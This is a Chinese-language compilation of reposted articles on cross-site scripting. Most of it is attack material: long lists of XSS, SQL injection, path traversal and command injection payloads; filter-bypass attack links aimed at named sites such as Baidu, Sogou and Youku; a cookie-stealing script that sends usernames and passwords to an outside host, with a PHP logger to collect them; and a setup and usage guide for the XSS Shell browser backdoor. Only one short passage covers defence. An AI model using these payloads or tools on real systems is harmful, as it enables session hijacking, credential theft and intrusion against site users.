XSS 代码总结

149 篇文章 1 订阅
101 篇文章 2 订阅

XSS跨站测试代码大全

http://www.cnblogs.com/dsky/archive/2012/04/06/2434768.html


'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
========

XSS代码触发条件,插入XSS代码的常用方法

http://www.2cto.com/article/201207/140004.html


1.脚本插入
 
(1)插入javascript和vbscript正常字符。
例1:<img src=”javascript:alert(/xss/)”>
例2:<table background=”javascript:alert(/xss/)”></table>’/在表格中插入脚本
例3:<img src=”vbscript:msgbox(“a”)”>
(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符
例1:<img src=”javascript:alert(/xss/)”> ‘/将j字符转为十进制字符j 。
例2:<img src=”javascript:alert(/xss/)”> ‘/将j字符转为十六进制字符j 。
(3)插入混淆字符。在系统控制字符中,除了头部的&#00(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如 、 等字符都可插入到
javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。
例1:<img src=” javascript:alert(/a/)”> ‘/插入到代码头部,其中 可写成 ,效果一样
例2:<img src=”java scr ipt:alert(/a/)”> ‘/插入到代码中任意位置,其中 可写成
例3:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是回车符的16进制形式
例4:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是换行符的16进制形式
2.样式表 www.2cto.com
(1)利用CSS代码@import、expression触发XSS漏洞。
例1:@import “http://web/xss.css”; ‘导入外部带有XSS代码的CSS样式表。
例2:@import’javascript:alert(“xss”)’; ‘调用javascript脚本触发漏洞
例3:body{xss:expression(alert(‘xss’))} ‘在内部样式表中加入expression事件
例4:<img style=”xss:expression(alert(“xss”))”>’在内嵌样式表中加入expression事件
(2)在CSS代码中加入javascript和vbscript脚本
例1:body{background-image:url(javascript:alert(“xss”))}
例2:body{background-image:url(vbscript:msgbox(“xss”))}
(3)转换字符类型,以十六进制字符替换其中或全部的字符:
例1:@\0069mport:url(web/1.css);’//将其中的i转为\0069
例2:body{xss:\0065xpression(alert(‘xss’))}’//将e转换为\0065
例3:body{background-image:\0075\0072\006c…}’将url全转为16进制
(4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。
例1:@\0im\port’\0ja\vasc\ript:alert(“xss”)’;
例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;
========

一些经典的XSS跨站代码整理



http://www.jb51.net/hack/56973.html
 


<!-- " --!><input value="><img src=xx:x οnerrοr=alert(1)//"> 
<script/οnlοad=alert(1)></script> IE9 
<style/οnlοad=alert(1)> 
alert([0x0D]-->[0x0D]1<!--[0x0D]) 
1<!--i 
document.write('<img src="<iframe/οnlοad=alert(1)>\0">'); IE8 
JSON.parse('{"__proto__":["a",1]}') 
location++ 
IE valid syntax: 我,啊=1,b=[我,啊],alert(我,啊) 
alert('aaa\0bbb') IE only show aaa http://jsbin.com/emekog 
<svg><animation xLI:href="javascript:alert(1)"> based on H5SC#88 #Opera 
Function('alert(arguments.callee.caller)')() 
firefox dos? while(1)find(); 
<div/style=x:expression(alert(URL=1))> 
Inject <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> enabled css expression,breaking standard mode! 
<applet code=javascript:alert('sgl')> and <embed src=javascript:alert('sgl')> umm...cute FF! 
<math><script>sgl='<img/src=xx:x οnerrοr=alert(1)>'</script> chrome firefox opera vector 
<svg><oooooo/oooooooooo/οnlοad=alert(1) > works on webkit~ 
<body/οnlοad=\\\vbs\\\::::::::alert+'x'+[000000]+'o'+'x'+[000000]::::::::> 
vbs:alert+-[] 
<body/οnlοad=vbs::::::::alert----+--+----1:::::::::> 
Firefox vector <math><a xlink:href="//mmme.me">click 
<svg><script>a='<svg/οnlοad=alert(1)></svg>';alert(2)</script> 
Inj>> <script/src=//0.gg/xxxxx> << <script>...</script> less xss 
[code]Webkit X-XSS-Protection header is enabled just now :P 
<svg/οnlοad=domain=id> 22 letters e.g http://fiddle.jshell.net./KG7fR/5/show/ 
<?xml encoding="><svg/οnlοad=alert(1)// >"> 
<a "<img/src=xxx:x οnerrοr=alert(1) >x</a> Distinctive IE 
Also <a `="<img/οnerrοr=alert(1) src=xx:xx>'></h1>">x</a> 
<h1 "='<img/οnerrοr=alert(1) src=xx:xx>'></h1> IE only 
<1h name="<svg/οnlοad=alert(1)>"></1h> 
<img ="1 src=xxx:x οnerrοr=alert(1)//" > works in not-IE 
javascript=1;for(javascript in RuntimeObject());javascript=='javascript' 
<body/οnerrοr=alert(event)><img/src=javascript:throw[Object.getOwnPropertyNames(this)]> Firefox Sanbox object 
<img src='javascript:while([{}]);'> works in firefox 
for(x in document.open); Crash your IE 6:> 
localStorage.setItem('setItem',1) 
Only to find '?'.toUpperCase()==='?'.toUpperCase() 
J? H? T? W? Y? i? length==2 
'?'.toUpperCase()=='I' 
Also '?'.toUpperCase()=='SS' 
'?.toUpperCase() =='FF'// alike: ? FI ? FL ? FFI ? FFL ? ST ? ST 
#Opera data:text/html;base64,<<<<<<<<PH Nj cmlwdD5hb我-勒-个-去GVyd CgxKTwvc 2NyaXB0Pg=>>>>>>>>>> 
Firefox always the most cute data:_,<script>alert(1)</script> 
<a href="ftp:/baidu.com">xx</a> 
http://?????????? works in Firefox 
RegExp.prototype.valueOf=alert,/-/-/-/;//IE,is there anything else? 
location='&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41' 
for({} in {}); 
興味深いhttp://jsbin.com/inekab for Opera only 
<a href=https:http://www.google.com>x</a> That's a relative path? 
document.frames==window.frames 
<a href="jar:xxx" id=x></a> x.protocol=='http:' on #firefox 
(0).constructor.constructor=function(){alert(eval(arguments[0].substr(6)))} Easy to decode jjencode and aaencode :D 
127.0x000000001==127.0.0.1 
<input value="&#31sefewfewf"/> Chrome input value block 
<svg><xmp><img/οnerrοr=alert(1) src=xxx:x /> 
<img src/="><img src=xxx:x οnerrοr=alert(1)//"> 
有趣的isindex <isindex formaction=javascript:alert(1) type=submit > 
chrome:xx - >chrome://crash/ crash? 
<form action=javascript:alert(1) /><input> Chrome input enter fucked! 
<form/><button/><keygen/> chrome send empty key,is funny~_~ 
<form/><input/formaction=javascript:alert(1)> Because <form> not a void element.[/code 
[code]<form><input/name="isindex"> when name are isindex does not send key. 
<form id=x ></form><button form=x formaction="javascript:alert(1)">X It like http://html5sec.org/#1 but only chrome support . 
<script language="php">echo 1 ?> Fascinating. 
fvck:for(_?in?this)_['match'](/.Element$/)&&console.log(_) 
location.reload('javascript:alert(1)') //ie only,lol~ 
{}alert(1) 
Twitter @jackmasa =P 


========

跨站脚本攻击XSS

http://www.cnblogs.com/dolphinX/p/3391351.html


跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。


一个简单的留言板
我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表


复制代码
<!DOCTYPE html>
<html>
<head>
    <?php include('/components/headerinclude.php');?></head>
    <style type="text/css">
        .comment-title{
            font-size:14px;
            margin: 6px 0px 2px 4px;
        }


        .comment-body{
            font-size: 14px;
            color:#ccc;
            font-style: italic;
            border-bottom: dashed 1px #ccc;
            margin: 4px;
        }
    </style>
    <script type="text/javascript" src="/js/cookies.js"></script>
<body>
    <form method="post" action="list.php">
        <div style="margin:20px;">
            <div style="font-size:16px;font-weight:bold;">Your Comment</div>
            <div style="padding:6px;">
                Nick Name:
                <br/>
                <input name="name" type="text" style="width:300px;"/>
            </div>
            <div style="padding:6px;">
                Comment:
                <br/>
                <textarea name="comment" style="height:100px; width:300px;"></textarea>
            </div>
            <div style="padding-left:230px;">
                <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
            </div>
            <div style="border-bottom:solid 1px #fff;margin-top:10px;">
                <div style="font-size:16px;font-weight:bold;">Comments</div>
            </div>
            <?php 
                require('/components/comments.php'); 
                if(!empty($_POST['name'])){
                    addElement($_POST['name'],$_POST['comment']);
                }
                renderComments();
            ?>
        </div>
    </form>
</body>
</html>
复制代码
 
addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的
 
image


XSS
因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入


image


这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子


利用xss窃取用户名密码
 


当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。


恶意用户会这么输入


image


我们看看http://test.com/hack.js里藏了什么


var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php


发送了一个get请求


http://test.com/index.php


复制代码
<?php
    if(!empty($_GET['password'])){
        $username=$_GET['username'];
        $password=$_GET['password'];
        
        try{
            $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
            $fp=fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\t $password\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){


        }
    }
?>
复制代码
这样恶意用户就把访问留言板的用户的信息窃取了


怎么预防
上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制,如上面这中做法在ASP.NET中不幸不同,微软validateRequest对表单提交自动做了XSS验证。但防不胜防,总有些聪明的恶意用户会到我们的网站搞破坏,对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。
========

跨站代码大全

<script>alert("跨站")</script>      (最常见的跨站代码) 
<img scr=javascript:alert("跨站")></img> 
<img scr="javascript: alert(/跨站/)></img> 
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?是用tab键弄出来的空格) 
<img scr="#" οnerrοr=alert(/跨站/)></img> 
<img scr="#" style="xss:e-xpression(alert(/xss/));"></img> 
<img scr="#"/* */οnerrοr=alert(/xss/) width=150></img> (/**/ 表示注释) 
<img src=vbscript:msgbox ("xss")></img> 
<style> input {left:e-xpression (alert('xss'))}</style> 
<div style={left:e-xpression (alert('xss'))}></div> 
<div style={left:exp/* */ression (alert('xss'))}></div> 
<div style={left:\0065\0078ression (alert('xss'))}></div> 


html实体: <div style={left:&#x0065;xpression (alert('xss'))}></div> 
unicode:<div style="{left:expRessioN (alert('xss'))}">  




上面是普通的 


163的filter过滤语句跨站代码 
<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));"> 


filter己将上述label理解为三个label,语法分析与其后语句关联分析时己失效. 


exploit:<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));"> background:expression((window.rrr==1)?'':eval('rrr=1; eval(unescape(alert(/t00ls低调发展/.source)));'));}'{}</style><div id="m">hhhhh</div> (己和谐) 
不懂CSS的 百度下 "Css中的filter常用滤镜属性及语句大全" 
上面中window.rrr==1等语句是给window对象的方法定义一个值,判断这个值运行一次. 




来看看HTML5跨站代码  
引入媒体类测试代码Example: 




<video οnerrοr=javascript:alert(1)><source> 


<audio οnerrοr=javascript:alert(1)><source> 


表单点击测试代码Example: 


<form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2) 


>X 


鼠标事件测试代码Example: 


Before HTML5: 


<input type=text value=‐‐>Injecting here οnmοuseοver=alert(Injected value)> 


With HTML5: 


<input type=text value=‐‐>Injecting here οnfοcus=alert(Injected value) autofocus> 


DIV 测试代码Example: 


<div draggable=true οndragstart=event.dataTransfer.setData(text/plain, Evil data)> 


<h3>DRAG ME!!</h3> 


</div> 


引入框架测试代码Example: 


<iframe src=http://www.sitedirsec.com sandbox></iframe>  




再看看 百度想跨站代码 分两个0.0 


这些是曾经的.. 




http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss')); 
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss')); 


tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下: 




<input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));"> 


这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码: 




eval(unescape(location.hash.substr(1))) 


给window对象的方法定义一个值,判断这个值运行一次代码: 




(window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1 


最后得到完美的攻击链接: 




http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29 




     恩 很好的思路 用给window对象的方法定义一个值,判断这个值运行一次代码 以及 # 搞定火狐. 


还有 80vul的 搜狗跨站 (已经修补) 
http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" οnmοuseοver=window["al"+"ert"](1) 
      搜狗过滤的关键字alert 这样分开写 一样能跨 
献丑了,有什么写得不好的 说吧.. O(∩_∩)O~


========

巧用eval 进行xss攻击-绕过输入长度限制攻击页面

http://www.weixinla.com/document/20542228.html


 
今天聊点技术话题:XSS 攻击「跨站脚本攻击」的一种特殊方式。


XSS 攻击是啥?先看下定义:




XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,比如这些代码包括HTML代码和客户端脚本。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。




举个栗子你可能就能体会到这种攻击有啥危害了。


2011年6月28日,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博和私信,并自动关注一位名为hellosamy的用户。


巧用eval 进行xss攻击-绕过输入长度限制攻击页面


事件的经过线索如下:


20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕


这是典型的XSS蠕虫,通过社交传播迅速扩散,当用户浏览被注入恶意代码的页面时,拿到用户Cookie,用户身份被劫持,比如这里的自动发微博、自动关注某人。


所以,XSS攻击是绝大部分Web 开发者都需要防范的,所有产品经理都要重视的一个安全风险。然而,很多时候我们的页面防范措施都不够全面。


今天,我们就以一个简单的XSS漏洞攻击过程,来看看一个看似防守严密的页面,会怎样被黑客利用。


来看看优酷的一个活动页面,来到 http://minisite.youku.com/autobaojun/ ,看到有表单,一般有输入的地方就是XSS攻击的重要入口:




巧用eval 进行xss攻击-绕过输入长度限制攻击页面


(1)点击我要参加,弹出浮层。
(2)测试得知 姓名字段没有过滤。
(3)但是输入 <img src=# οnerrοr=alert(document.cookie) /> 之后会被截断到 30字符以内。所以,数据库字段设计在 30 字符以内,插入的时候自动截断了。
(4)所以接下来重点就变成:如何构造尽量短的XSS攻击代码。
(5)经分析 活动列表页 http://minisite.youku.com/autobaojun/list.php 按照创建时间降序排列,所以,只要构造几条30字符以内的xss代码,保证这几条代码在同一个页面,都可以达到攻击的目的。


原理:把XSS代码片段A拆成A1、A2、A3、A4、A5几个片段,因为列表页是降序排列的,把拆出来的代码片段按A5、A4、A3、A2、A1 的顺序拼接起来,用eval()函数执行拼接起来的代码片段即可。


于是,我们构造如下的代码:


'<script>eval(z);</script>',
'<script>z+="ookie);"</script>',
'<script>z+="ent.c";</script>',
'<script>z+="docum";</script>',
'<script>z="alert(";</script>',


逐条插入到 姓名字段。




注册送1666元组合红包 【点击进入】
红包比例2%比例抵扣 使用20元红包投月标,相当于加息24%
查 看


如上,成功拿到cookie.
拿到cookie 之后可以干什么呢?你再回去看看新浪微博那个案例就知道了~


在一些以cookie为登录凭证的网站,拿到了cookie,就等于拿到了你的登录身份,也就是我们常看到的,为啥我的账号发了一些莫名其妙的东西?


以上,我们就巧用eval,利用一系列很短的XSS代码片段拼接,完成了绕过输入长度限制攻击页面。
========

黑客介绍跨站攻击工具XSS Shell脚本安全

http://www.unjs.com/ziliaoku/dn/202077.html


    XSS跨站脚本攻击属于被动式攻击,对于急于求成的朋友来说,往往不会被重视,而喜欢挂马的朋友则喜爱有加,


黑客介绍跨站攻击工具XSS Shell脚本安全。通过构造特殊的页面,再把调用该页面的代码嵌在被攻击者网站的某一网页中,而当有人浏览该页面时,在后台即已执行了内嵌的代码。对于被调用页面的构造,根据不同的需求功能也不一样。最常见的是挂马,比如利用IE漏洞悄悄在浏览者的计算机上种植木马;而另一种方式则可以利用互动式页面的各种语言(如ASP,PHP,JSP等)来构造一个完全达到自己需求的页面,而不是简单地做一种达到目的的“介质”。
    对于第一种攻击来说,问题是显而易见的。你得面临的问题起码有四个,分别是相应的系统漏洞、系统补丁、杀毒软件以及防火墙。也就是说,首先你要保证手上有下载并执行漏洞的利用软件,然后祈祷对方没有及时打补丁的习惯,接着下载了软件开始祈祷杀毒软件别把你的木马给Kill掉,最后在通信的时候希望对方的防火墙别阻拦你;而且木马个头一般不小,在浏览器中执行是有异常症状的(起码我们看黑防的人会起疑心)。而后一种攻击方式则不同了,它基本遵循SQL Injection的最大优点:穿透防火墙。除了网站系统的漏洞外,基本不需要其他条件支持。因为控制端的网页在自己服务器上而非类似WebShell放在目标服务器上,所以即使对方的杀毒软件再厉害也没有用的。说了这么多,今天的主角也该上场了,它就是XSS Shell。


    XSS Shell可以作为一个强大的后门和远程管理软件。这个概念首先是由“XSS-Proxy http://xss-proxy.sourceforge.net/”提出的,XSS Shell可以向木马发送请求和接受相关数据,并且以被嵌入代码的页面为后门。这里提醒大家的是,被攻击者不一定是服务器,服务器只是一种介质,真正被攻击的是浏览服务器上我们动过手脚的页面的人。


    XSS Shell的配置


    XSS Shell解压后在目录下有3个文件夹和两个文件,一个是TXT说明,一个是ASP文档。我们把文件夹xssshell和“xssshell.asp”放在自己的服务器上,db文件夹放在服务器上一个隐蔽或是非Web目录下,确保其不能被HTTP下载。


    1) xssshell.asp的配置


    打开xssshell.asp,找到“SERVER CONFIG”部分,代码如下所示。


    // You XSSShell Server


    var SERVER = "http://attacker/";


    // This file's name


    var ME = SERVER + "xssshell.asp?p=1" ;


    // Connector file (can be in php, cfm, pl etc. just stick with implementation)


    var CONNECTOR = SERVER + "xssshell/connector.asp";


    // Commands file (can be in php, cfm, pl etc. just stick with implementation)


    var COMMANDS_URL = SERVER + "xssshell/commands.asp";


    这里用于定义服务器,我们把Server的值换成自己的IP就可以了,如把http://attacker/换成http://127.0.0.1/。为了保险起见,最好再核查一下修改后的Server是否可以让后面的ME、CONNECTOR、COMMANDS_URL的值可行。


    2) xssshell/db.asp的配置


    这里主要修改数据库的路径和进入管理的密码。


    ' Password protection added


    Option Explicit


    '60 minutes


    Session.Timeout = 60


    'Open In Live Enviroments


    'On error resume next


    '// DATABASE CONFIGURATION


    Const DBPATH = "..\db\shell.mdb"


    'Activity check time as seconds


    Const Activity = "10"


    Const SQLSERVER = False


    在“Const DBPATH=”后面修改自己的数据库的地址,


电脑资料《黑客介绍跨站攻击工具XSS Shell脚本安全》(http://www.unjs.com)。管理登录的默认密码是“w00t”,大家可搜索“w00t”后替换为自己的密码。
    3)调试成功


    该软件还提供了一个“sample_victim”文件夹,从字面上就可以猜出是例子的意思,文件夹里有四个Web页面,其中的default.asp运行后如图1所示。




    看似正常的页面,实际上其中已经嵌入了我们需要的代码:。也就是说,以后我们只需要在可以跨站的地方直接输入这段代码就可以了。


    图2是XSS Shell的管理页面:http://[YOURHOST]/xssshell/,输入密码后即可进入,VICTIMS下已经显示有一个“受害者”了。由于所有页面都是在自己的计算机上,所以下面我再给大家做个实例演示。


    首先确定自己服务器的IP。打开CMD输入IPCONFIG,得知自己的IP为:125.71.*.*,修改为。接着打开一个存在跨站漏洞的页面,如图3所示,然后发表留言,如图4所示。



    留言内容里的代码看来被执行了哦(没有任何显示)。这里我发现一个现象,比如我提交了一个含有“”的留言,如果我再提交一个,则上次提交的留言会被覆盖或是被删除。我尝试了几个ASP系统都是如此,如果重复使用这句代码,甚至会把对方的系统搞乱!


    功能演示


    如图5所示,画线的框内都是XSS Shell可以执行的功能。下面我们对其进行一一说明。



    1)getCookie()


    这个功能用于获取Cookie,单击它后如图6所示,会显示目标的Cookie(Logs跑到下面了)。这个功能还是很有用的,比如以前的动网前台提权漏洞就需要先获得管理员的Cookie。



    2)getSelfHtml()


    这个功能用于获取用户当前的网页源代码,很简单,大家试用一下就知道了。


    3)alert()


    这个功能一看就知道是向对方发送消息的。它利用的是Alert函数,所以对方接收到的消息是以提示框的形式显示的,如图7所示。输入消息的内容在管理页的参数框内写入,如图8所示。


    4)eval()


    这个功能可以在受害者的浏览器里执行任意脚本,内容也是在图8的参数框里输入。比如输入javascript.:alert("dd")后点击“eval()”链接,就会在受害者那边弹出窗口。


    5)prompt(on>)


    这个功能就比较好玩了。在参数框中输入内容(如你爱我吗?)后执行,在受害者的浏览器中会有如图9所示的提示。在Logs中,我们还可以看到对方的回答,如图10所示。


    6)getMouseLog()


    这个功能可以记录受害者鼠标的情况,并将其保存在日志中。


    7)getClipboard()


    这个功能用于获取受害者的内存剪贴板上的内容,不过目前只对IE有效,FireFox无法实现。


    8)getInternalIP()


    这个功能用于获取受害者的IP地址,不过目前该功能有缺陷,只对 Mozilla+JVM有效。


    9)getPage()


    这个功能是以受害者的身份请求一个网页,在参数框里填入地址,可以是相对的也可以是绝对的地址。不过为了避免出错,我们还是使用相对地址,请求后的结果如图11所示。在XSS Shell管理页面的下方还有一个Viewer小型浏览器,图中未显示出的图片还是因为路径的原因。利用这个功能,我们可以用于绕过某些验证从而实现提升权限。


    最后两项功能是DDoS()和Crash(),DDOS就不用我介绍了,大家都知道;而Crash()则是针对目标CPU发起的攻击,两者在达到的效果上是差不多的。另外,XSS Shell成功发出指令后,有时会出现如图12所示的画线处的数字,它是攻击号码,我们不必理会它,稍后会自动生成结果的,就如同下面的那些结果一样。


   

    关于XSS Shell,到这里就算介绍完了。我不得不说,它是一款很不错的攻击软件,为我们提供了一种新的方式和思路,也大大方便了我们以后在入侵中的使用,有兴趣的朋友可以自己试试看。
========

77种网站XSS跨站攻击脚本语法

https://www.exehack.net/867.html


XSS又叫CSS (Cross-Site Script) ,跨站脚本攻击。恶意攻击者往Web页面里插入恶意html代码
当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
XSS分两类:
一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。
另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。
如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开


(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>


(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>


(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>


(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>


(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>


(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>


(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>


(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>


(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>


(10)十六进制编码也是没有分号(计算器)
